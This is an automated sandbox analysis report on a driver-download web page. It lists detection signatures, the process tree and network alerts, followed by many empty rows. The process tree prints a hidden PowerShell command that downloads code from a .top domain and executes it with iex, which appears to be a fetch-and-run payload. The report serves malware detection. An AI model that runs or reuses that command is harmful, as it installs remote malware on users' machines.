Edit tour
Windows
Analysis Report
https://ambir.com/all-ambir-drivers/
Overview
General Information
| Sample URL: | https://ambir.com/all-ambir-drivers/ |
| Analysis ID: | 1556667 |
| Infos: |  |
 | |
Detection
| Score: | 64 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Suricata IDS alerts for network traffic
Queries Google from non browser process on port 80
Suspicious powershell command line found
Connects to several IPs in different countries
Contains long sleeps (>= 3 min)
Detected non-DNS traffic on DNS port
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTML body with high number of embedded images detected
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Classification
- System is w10x64_ra
chrome.exe (PID: 5892 cmdline: "C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --st art-maximi zed "about :blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - chrome.exe (PID: 6736 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =2072 --fi eld-trial- handle=188 4,i,983150 1877349822 803,107126 5077950195 9989,26214 4 --disabl e-features =Optimizat ionGuideMo delDownloa ding,Optim izationHin ts,Optimiz ationHints Fetching,O ptimizatio nTargetPre diction /p refetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - chrome.exe (PID: 2876 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= audio.mojo m.AudioSer vice --lan g=en-US -- service-sa ndbox-type =audio --m ojo-platfo rm-channel -handle=57 28 --field -trial-han dle=1884,i ,983150187 7349822803 ,107126507 7950195998 9,262144 - -disable-f eatures=Op timization GuideModel Downloadin g,Optimiza tionHints, Optimizati onHintsFet ching,Opti mizationTa rgetPredic tion /pref etch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
- chrome.exe (PID: 6468 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" "htt ps://ambir .com/all-a mbir-drive rs/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
powershell.exe (PID: 7452 cmdline: "C:\Window s\system32 \WindowsPo werShell\v 1.0\PowerS hell.exe" -WindowSty le Hidden $global:bl ock=curl - useb http: //527newag ain.top/1. php?s=527; iex $globa l:block.co ntent MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 2140 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No yara matches
| Source: | Author: Nasreddine Bencherchali (Nextron Systems): | ||
| Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-11-15T19:35:17.626869+0100 | 2859025 | 1 | Domain Observed Used for C2 Detected | 192.168.2.16 | 53213 | 1.1.1.1 | 53 | UDP |
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Avira URL Cloud: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
Networking | |
|---|
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic: | ||
| Source: | Network traffic detected: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Classification label: | ||
| Source: | File created: | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | ||
| Source: | File read: | ||
| Source: | Key opened: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
